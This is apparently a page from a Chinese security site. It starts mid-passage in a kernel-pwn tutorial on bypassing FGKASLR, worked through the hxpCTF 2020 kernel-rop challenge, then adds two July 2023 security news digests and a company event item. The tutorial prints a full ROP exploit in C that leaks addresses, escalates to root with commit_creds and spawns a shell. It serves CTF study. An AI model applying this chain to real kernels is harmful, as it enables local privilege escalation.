s->sh_offset, s->sh_size); num_syms = s->sh_size / sizeof(*symtab); continue; }       ... if (!strcmp(sname, ".text")) { //第一个.text的节区直接跳过 if (text) error("Unexpected duplicate .text section"); text = s; continue; } if (!strcmp(sname, ".data..percpu")) { //遇到.data..precpu的节区也直接跳过 /* get start addr for later */ percpu = s; continue; } if (!(s->sh_flags & SHF_ALLOC) ||    !(s->sh_flags & SHF_EXECINSTR) ||    !(strstarts(sname, ".text"))) //若一个节区具有SHF_ALLOC与SHF_EXECINSTR的标志位,并且节区名的前缀属于.text则会进行细粒度的地址随机化 continue; sections[num_sections] = s; //剩余的节区都放置到新开辟的空间中,进行细粒度的地址随机化 num_sections++; } sections[num_sections] = NULL; sections_size = num_sections;   ... } 通过上述代码分析可知 符号节区不进行细粒度的地址随机化 第一个.text节是不会进行细粒度的地址随机化 需要同时具备SHF_ALLOC与SHF_EXECINSTR标志位,并且节区的前缀为.text才会被选择进行细粒度的地址随机化 可以看到layout_randomized_image函数还是会保持原有的节区偏移,但是会在内存中寻找另一个空间进行存储,这就导致在内核开启了FGKASLR保护时并不是所有的节区都以内核程序基地址作为基址进行偏移,想要做到任意内核函数的调用,就需要找到调用函数所处的节区的基地址,使得利用更加复杂化了。 FGKASLR保护的绕过 想要绕过FGKASLR,我们可以挑选不受影响的节区中的gadget进行ROP链的构造。 首先是不存在SHF_ALLOC与SHF_EXECINSTR标志位的节区 其次是.text的节区,可以看到该节区存在0x200000的大小,因此可以挑选0xffffffff81000000 - 0xffffffff81000000 + 0x200000,可选的gadget还是比较充足的。 上述的节区都是不受FGKASLR保护的影响,只需要泄露出内核程序的基地址,就可以按照绕过KASLR的思路进行漏洞的利用。 想要在内核态完成提权返回到用户态,我们需要调用commit_creds(prepare_kernel_cred(0)) -> swapgs -> iretq 因此先来看commit_creds与prepare_kernel_cred函数是否符合要求,可以看到commit_creds函数的地址为0xffffffff814c6410,prepare_kernel_cred函数的地址为0xffffffff814c67f0都是超过.text的节区空间了(这里我是关闭了KASLR的)。 可以多运行几次环境,查看这个两个函数的地址,会发现末尾地址的偏移会一直在变化。(开启了KASLR) cat /proc/kallsyms | grep -E "commit_creds|prepare_kernel_cred" 第一次 第二次 可以看到第一次运行与第二次运行的地址是完全不一样的,但是处于不进行细粒度的节区ksymtab,只有中间的九个比特位(KASLR)发生了改变,其余部分是一致的。这也是KASLR与FGKASLR的区别。但是实际的利用又需要用到这两个函数,因此还是需要特殊的手法泄露出这两个函数的实际地址。(1)能够泄露这两个函数现有的基地址(2)通过符号表进行地址读取。 这里采用(2)的手法进行函数地址的泄露,ksymtab节存放着内核函数的符号表,使用下述结构体进行维护。 struct kernel_symbol {  int value_offset;  int name_offset;  int namespace_offset; }; value_offset:内核符号的值的偏移 name_offset:内核符号的名称的偏移 namespace_offset:内核符号所属的命名空间的名称在内存中的偏移量或地址。 因此value_offset正是我们所关注的,这里需要注意的是这里的偏移地址是基于当前地址的偏移。以ksymtab_commit_creds为例,ksymtab_commit_creds的地址值为0xffffffffa8587d90,该地址存储的值为0xffa17ef0,计算的结果为0xffffffffa8587d90- (2^32 - 0xffa17ef0) = 0xffffffffa7f9fc80 ,结果刚好是commit_creds函数的地址值,这里说明一下为什么需要用(2^32 - 0xffa17ef0),因为value_offset是int类型,而0xffa17ef0是负数,因此需要 那么利用上述的方法就可以求出commit_creds与prepare_kernel_cred函数的地址。 那么接着看如何获取swapgs与iretq指令的地址,之前在介绍如何绕过kpti时介绍过一个特殊的函数swapgs_restore_regs_and_return_to_usermode,里面除了能够通过cr3转换页表,里面还具备swapgs和iretq指令。在内核中搜索一下这个函数的地址,可以发现它处于.text节区的范围内,因此这个地址可以直接拿来用。 因此绕过FGKASLR的方法就出来了,首先是泄露内核程序基地址,通过该基地址获得__ksymtab_commit_creds与__ksymtab_prepare_kernel_cred的地址,通过上述两个符号获取实际的commit_creds与prepare_kernel_cred函数的地址,最后通过swapgs_restore_regs_and_return_to_usermode函数返回用户态。 hxpCTF 2020 kernel-rop run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep,+smap \    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 kaslr kpti=1 quiet panic=1" \    -s 这里还是使用 hxpCTF 2020的内核题作为例子 项目地址:https://github.com/h0pe-ay/Kernel-Pwn 之前提到过了程序存在栈溢出的漏洞,并且允许我们读取内核栈上的数据,通过读取内核栈上的数据可以泄露出canary的值以及程序的基地址,这里需要特别注意的是,当开启了FGKASLR时,不是所有的地址都可以用来计算基地址的,只能找在.text范围内的地址,否则是无法计算出内核程序基地址。因此这里选择0xffffffff8100a157的地址作为泄露地址。 那么在泄露了canary和地址之后就可以利用栈溢出完成提权返回用户态了,在之前的用户态下的利用,我们可以借助write或者是puts函数去读取地址中的内容,但是在内核态的利用则不需要这么麻烦了,例如可以先将__ksymtab_commit_creds地址赋值给rax寄存器,接着通过mov rax,[rax]; ret的指令完成对指定地址完成读取操作。这里我使用的gadget为 0xffffffff81004d11: pop rax; ret; [0x4d11] 0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f] 首先利用pop rax; ret指令,将__ksymtab_commit_creds函数的地址赋值给rax寄存器,接着使用mov rax, qword ptr [rax];函数将__ksymtab_commit_creds地址的内容读取到rax寄存器中,那么接下来就是如何提取出rax寄存器。可以借助swapgs_restore_regs_and_return_to_usermode函数先暂时返回到用户态,接着采用内联汇编,进行值的提取。这里需要注意的是需要将ROP链与内联汇编分隔开,否则rax寄存器可能会被编译器优化掉,即会有清空rax寄存器的操作。并且所有找的gadget都必须是不会进行细粒 ... void start() { unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = image_base +  0x4d11; //pop_rax_ret payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret; payload[index++] = 0; payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)leak_commit_creds; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } void leak_commit_creds() { __asm( ".intel_syntax noprefix;" "mov commit_creds_offset, eax;" ".att_syntax;" ); printf("commit_cred_offset:0x%x\n", commit_creds_offset); commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset; printf("commit_cred:0x%lx\n", commit_creds); jmp_leak_prepare_kernel_cred(); } ... 在调用为prepare_kernel_cred后需要将rax寄存器的值传递给rdi寄存器中,因为需要作为commit_creds函数的参数。但是在.text中找了很久都没有合适的gadget,那么还是同样采用内联汇编,将rax寄存器的值读取出,再传递给commit_creds函数即可。这里又需要特别注意,最好不要使用太多的全局变量存储,否则会覆盖一开始保存的user_cs,user_rflags,user_sp,user_ss的变量值。因此在payload中我特定将这几个变量初始化的特定的值,使得这几个变量存储在.data段防止被其它的值覆盖。 因此针对FGKASLR保护的绕过,实际是利用FGKASLR特点,只在特定的区域中选取适合的gadget,从而将FGKASLR弱化为KASLR,进而继续利用。 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff81006370: pop rdi; ret; -- [0x6370] 0xffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode -- [0x200f10] 0xffffffff81004d11: pop rax; ret; [0x4d11] 0xffffffff81015a7f: mov rax, qword ptr [rax]; pop rbp; ret; [0x15a7f] 0xffffffff81f87d90 r __ksymtab_commit_creds [0xf87d90] 0xffffffff81f8d4fc r __ksymtab_prepare_kernel_cred [0xf8d4fc] */ //iretq RIP|CS|RFLAGS|SP|SS #define MAX 1 int fd; unsigned long user_cs = MAX,user_rflags = MAX,user_sp = MAX,user_ss = MAX; unsigned long image_base; unsigned long commit_creds; unsigned long prepare_kernel_cred; unsigned long canary; int prepare_kernel_cred_offset; int commit_creds_offset; unsigned long cred; void save_state(); void backdoor(); void leak_commit_creds(); void leak_prepare_kernel_cred(); void get_cred(); void jmp_get_cred(); void jmp_leak_prepare_kernel_cred(); void jmp_get_cred(); void jmp_back_door(); void start(); void save_state() { __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("***save state***"); printf("user_cs:0x%lx\n", user_cs); printf("user_sp:0x%lx\n", user_sp); printf("user_ss:0x%lx\n", user_ss); printf("user_rflags:0x%lx\n", user_rflags); puts("***save finish***"); } void backdoor() { puts("***getshell***"); system("/bin/sh"); } void start() { unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = image_base +  0x4d11; //pop_rax_ret payload[index++] = image_base + 0xf87d90; //__ksymtab_commit_creds payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret; payload[index++] = 0; payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)leak_commit_creds; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } void leak_commit_creds() { __asm( ".intel_syntax noprefix;" "mov commit_creds_offset, eax;" ".att_syntax;" ); printf("commit_cred_offset:0x%x\n", commit_creds_offset); commit_creds = image_base + 0xf87d90 + (int)commit_creds_offset; printf("commit_cred:0x%lx\n", commit_creds); jmp_leak_prepare_kernel_cred(); } void jmp_leak_prepare_kernel_cred() { unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = image_base +  0x4d11; //pop_rax_ret payload[index++] = image_base + 0xf8d4fc; //__ksymtab_prepare_kernel_cred payload[index++] = image_base + 0x15a7f; // mov rax, qword ptr [rax]; pop rbp; ret; payload[index++] = 0; payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)leak_prepare_kernel_cred; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } void leak_prepare_kernel_cred() { __asm( ".intel_syntax noprefix;" "mov prepare_kernel_cred_offset, rax;" ".att_syntax;" ); printf("prepare_kernel_cred_offset:0x%x\n", prepare_kernel_cred_offset); prepare_kernel_cred = image_base + 0xf8d4fc + (int)prepare_kernel_cred_offset; printf("prepare_kernel_cred:0x%lx\n", prepare_kernel_cred); printf("jmp get cred\n"); jmp_get_cred(); } void jmp_get_cred() { unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = image_base +  0x6370; //pop_rdi_ret payload[index++] = 0; payload[index++] = prepare_kernel_cred; // prepare_kernel_cred payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)get_cred; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } void get_cred() { __asm( ".intel_syntax noprefix;" "mov cred, rax;" ".att_syntax;" ); printf("cred:0x%lx\n", cred); jmp_back_door(); } void jmp_back_door() { unsigned long payload[256]; unsigned int index = 0; for(int i = 0; i < (16); i ++) payload[index++] = 0; //iretq RIP|CS|RFLAGS|SP|SS payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = image_base +  0x6370; //pop_rdi_ret payload[index++] = cred; //cred payload[index++] = commit_creds; // commit_creds payload[index++] = image_base + 0x200f10 + 22; //swapgs_restore_regs_and_return_to_usermode + 22;mov   rdi,rsp; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)backdoor; payload[index++] = user_cs; payload[index++] = user_rflags; payload[index++] = user_sp; payload[index++] = user_ss; write(fd, payload, index * 8); } int main() { save_state(); fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 40 * 8); for(int i = 0; i < 40; i++) printf("i:%d\taddress:0x%lx\n",i, buf[i]); canary = buf[2]; unsigned long leak_addr = buf[38]; printf("leak addr:0x%lx\n", leak_addr); image_base = leak_addr - 0xa157; printf("ImageBase:0x%lx\n", image_base); start(); }
网络安全日报 2023年07月10日
1、攻击者通过钓鱼邮件传播NetSupport恶意软件 https://asec.ahnlab.com/en/55146/ 研究人员发现,攻击者正在利用伪装成发票、装运单据和采购订单的钓鱼邮件传播NetSupport RAT。攻击者利用钓鱼邮件诱导用户打开恶意附件,其中包含一个恶意JavaScript脚本。该JS脚本经过混淆处理,执行后与尝试与3个合法网站进行连接以检测用户的网络状态,随后从C2地址中获取PowerShell脚本。该PowerShell脚本用于下载执行NetSupport RAT,并通过注册表实现开机自启动。 2、Truebot新变种利用Netwrix Auditor中的RCE漏洞进行攻击 https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-187a CISA和FBI发布警告称,Truebot出现新变种,这些新变种利用Netwrix Auditor软件中的远程代码执行(RCE)漏洞,针对美国和加拿大的组织机构发起攻击。该漏洞被标记为CVE-2022-31199,影响Netwrix Auditor服务器及安装在网络系统上的代理,攻击者能够利用SYSTEM用户的权限执行恶意代码。在受害网络中植入Truebot后,攻击者进而植入FlawedGrace远控木马,以此建立持久性。在首次入侵的数小时后,攻击者还部署了 3、IT Army黑客组织声称对俄罗斯铁路网站进行攻击 https://therecord.media/russian-railway-site-taken-down-by-ukrainian-hackers 俄罗斯国有铁路公司(RZD)表示,由于大规模的网络攻击,其网站和移动应用程序关闭了几个小时,迫使乘客只能在火车站线下购票。乌克兰黑客组织IT Army声称对此次攻击事件负责,并表示“即使网站只关闭了一个小时,它依旧会对该国的经济产生重大影响。”俄罗斯铁路网站系统至少瘫痪了六个小时,该公司于5日晚些时候表示网站已恢复运营,但由于仍在持续受到网络攻击,一些在线服务仍然无法使用。 4、MOVEit Transfer修复新的安全漏洞 https://community.progress.com/s/article/MOVEit-Transfer-Service-Pack-July-2023 MOVEit Transfer近期发布安全更新,以修复新发现的安全漏洞。两个SQL注入漏洞分别被标记为CVE-2023-36934、CVE-2023-36932,影响多个版本的产品,未经身份验证的攻击者能够利用漏洞访问MOVEit Transfer数据库。第三个漏洞被标记为CVE-2023-36933,是一个高危漏洞,攻击者能够利用该漏洞使程序意外终止。MOVEit Transfer已发布安全更新,并建议其客户尽快升级。 5、Big Head勒索软件伪装成Windows更新程序进行传播 https://www.trendmicro.com/en_us/research/23/g/tailing-big-head-ransomware-variants-tactics-and-impact.html 研究人员近期发现Big Head勒索软件样本,并发现它们是通过伪装成Windows更新程序或Word安装程序进行传播的。Big Head勒索软件是一个使用.NET编写的程序,执行后在受害主机中释放三个经过AES加密的文件:1.exe用于对文件进行加密并释放勒索信;archive.exe用于进行Telegram bot通信,受害者利用该程序与攻击者进行沟通;Xarch.exe用于显 6、研究人员在PiiGAB产品中发现多种安全漏洞 https://www.securityweek.com/vulnerabilities-in-piigab-product-could-expose-industrial-organizations-to-attacks PiiGAB是一家总部位于瑞典的公司,提供工业和楼宇自动化硬件和软件解决方案。研究人员在该公司的M-Bus 900转换器中发现了多种类型的安全漏洞,涉及代码注入、登录尝试率限制、硬编码和明文凭据、弱密码、跨站点脚本(XSS)和跨站点请求伪造(CSRF)漏洞。攻击者能够利用这些漏洞执行任意代码、发起暴力破解攻击、获取系统访问权限、提升权限以及诱导用户执行恶意命令。该公司已针 7、与伊朗有关的 APT TA453 针对 Windows 和 macOS 系统 https://securityaffairs.com/148275/apt/ta453-malware-windows-macos.html 与伊朗有关的 APT 组织跟踪的 TA453 已与针对 Windows 和 macOS 系统的新恶意软件活动相关联。 8、Progress 警告客户 MOVEit Transfer 软件存在新的严重漏洞 https://securityaffairs.com/148252/security/moveit-transfer-critical-flaw.html Progress 发布了针对影响其 MOVEit Transfer 软件的新的严重 SQL 注入漏洞的安全补丁。目前正在向客户通报其 MOVEit Transfer 中存在一个新的严重 SQL 注入漏洞(编号为 CVE-2023-36934)。 9、Mastodon 社交网络修补了允许服务器接管的严重漏洞 https://thehackernews.com/2023/07/mastodon-social-network-patches.html Mastodon 是一个流行的去中心化社交网络,它发布了一个安全更新,以修复可能使数百万用户面临潜在攻击的关键漏洞。 10、孟加拉国政府网站泄露数百万公民数据 https://securityaffairs.com/148264/data-breach/bangladesh-government-website-data-leak.html 一名研究人员最近发现孟加拉国政府网站泄露了公民的个人数据。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年07月07日
1、SolarView系列产品受到多个安全漏洞的影响 https://www.vulncheck.com/blog/solarview-exploitation 研究人员称,SolarView产品中的CVE-2022-29303漏洞可被利用,攻击者可能利用该漏洞针对能源机构进行攻击。CVE-2022-29303是一个未经身份验证的远程命令执行漏洞,自2023年3月以来,就有研究人员观察到Mirai僵尸网络新变种利用该漏洞进行传播。使用Shodan对615个暴露在互联网上的SolarView扫描后,研究人员发现仍有425个产品易受攻击,这表明只有不到三分之一的SolarView系列产品针对该漏洞进行了安全更新。此外,研究人员表示SolarView 2、研究人员发现伪装成美国邮政的网络钓鱼活动 https://www.malwarebytes.com/blog/threat-intelligence/2023/07/malicious-ad-for-usps-phishes-for-jpmorgan-chase-credentials 研究人员发现一起伪装成美国邮政(USPS)的网络钓鱼活动。在Google中搜索关键词“usps tracking”就能够发现相关钓鱼推广,该恶意推广显示美国邮政局的官方网站链接及图标,但是其背后的广告商与美国邮政没有任何关系。点击该恶意推广的用户会跳转至一个钓鱼网站,该网站要求输入订单号,在提交订单号后该网站会返回“由于信息不完整,您的包裹无法送达” 3、Anonymous Sudan组织声称对Riot Games发起DDoS攻击 https://thecyberexpress.com/anonymous-sudan-claims-to-target-riot-games/ Riot Games是一家美国视频游戏开发商及发行商,Anonymous Sudan组织声称对该公司发起了分布式拒绝服务(DDoS)攻击。该组织在Telegram中发表帖子称此次攻击持续了30至60分钟,但研究人员经过初步调查后发现Riot Games网站未出现异常,仍在正常运营。相关威胁情报部门没有证实此次攻击的真实性,Riot Games也尚未对此次攻击事件发表声明。 4、TeamsPhisher 工具利用 Microsoft Teams 部署恶意软件 https://cyware.com/news/teamsphisher-tool-exploits-microsoft-teams-to-deploy-malware-325a6034 GitHub 上提供的新工具可以使攻击者滥用 Microsoft Teams 中最近披露的漏洞,并自动将恶意文件传送到用户系统。 5、Crysis 勒索团伙使用 RDP 连接分发 Venus 勒索软件 https://cyware.com/news/crysis-threat-actors-use-rdp-connections-to-distribute-venus-ransomware-bddeda1e ASEC 最近发现 Crysis 勒索软件攻击者正在通过暴力或字典攻击扫描互联网,寻找易受攻击的 RDP 端点,以便在系统上安装 Venus 勒索软件。 6、思科警告其Nexus 9000系列交换机存在可破坏加密流量的漏洞 https://www.bleepingcomputer.com/news/security/cisco-warns-of-bug-that-lets-attackers-break-traffic-encryption/ 思科今天警告客户,一个高严重性漏洞会影响某些数据中心交换机型号,并允许攻击者篡改加密流量。该漏洞的编号为 CVE-2023-20185,是在数据中心 Cisco Nexus 9000 系列交换矩阵交换机的 ACI 多站点 CloudSec 加密功能的内部安全测试过程中发现的。 7、Android 7月安全更新补丁修复了 3个被广泛利用的漏洞 https://www.securityweek.com/android-security-updates-patches-3-exploited-vulnerabilities/ Google 的 2023 年 7 月 Android 安全更新修复了 43 个漏洞,其中三个漏洞被广泛利用。 8、壳牌确认与 MOVEit 漏洞相关的勒索攻击和数据泄露事件 https://www.securityweek.com/shell-confirms-moveit-related-breach-after-ransomware-group-leaks-data/ 壳牌确认,在 Cl0p 勒索软件组织泄露了据称从该能源巨头窃取的数据后,员工个人信息已被盗。能源巨头壳牌公司证实,由于最近的 MOVEit Transfer 黑客攻击,属于员工的个人信息已被泄露。 9、JumpCloud 称现有API 密钥均已失效,以保护客户及其运营 https://www.securityweek.com/jumpcloud-says-all-api-keys-invalidated-to-protect-customers/ 设备、身份和访问管理解决方案提供商 JumpCloud 已重置客户 API 密钥,以应对“持续发生的事件”。JumpCloud 尚未分享任何信息,但发送给客户的通知表明它正在处理安全事件。该公司表示,现有的 API 密钥已失效,以保护客户的“组织和运营”。 10、一个新的Linux内核提权漏洞-StackRot,可用于提权 https://securityaffairs.com/148231/security/stackrot-linux-kernel-privilege-escalation-bug.html StackRot 是 Linux 内核中的新安全漏洞,可被利用来获得目标系统上的提升权限。一个名为StackRot的安全漏洞 被发现影响 Linux 版本 6.1 到 6.4。该问题编号为CVE-2023-3269(CVSS 评分:7.8),是内存管理子系统中的权限提升问题。无特权的本地用户可以触发该缺陷来危害内核并提升权限。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
蚁景科技承办中南大学学生认知实习活动
为加强网络空间安全人才队伍建设,深化产学研合作,提高高校学生岗位认知,2023年7月5日,蚁景科技为中南大学计算机学院的70余名学生组织了认知实习活动。这次活动为同学们提供了深入了解网络安全领域和行业发展的机会。 中南大学的同学们跟随公司人员参观了蚁景科技有限公司,了解蚁景科技的业务领域、技术创新和发展规划情况。蚁景科技副总经理皮开元代表公司为同学们带来了一场精彩的专题分享,重点介绍了网络安全行业各个细分领域的业务内容和代表企业;解读了当前网络安全人才市场的需求状况,以及金融、通信、互联网等行业网安类岗位对网安人才技能的具体要求。 中南大学的同学们跟随公司人员参观了蚁景科技有限公司,了解蚁景科技的业务领域、技术创新和发展规划情况。蚁景科技副总经理皮开元代表公司为同学们带来了一场精彩的专题分享,重点介绍了网络安全行业各个细分领域的业务内容和代表企业;解读了当前网络安全人才市场的需求状况,以及金融、通信、互联网等行业网安类岗位对网安人才技能的具体要求。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页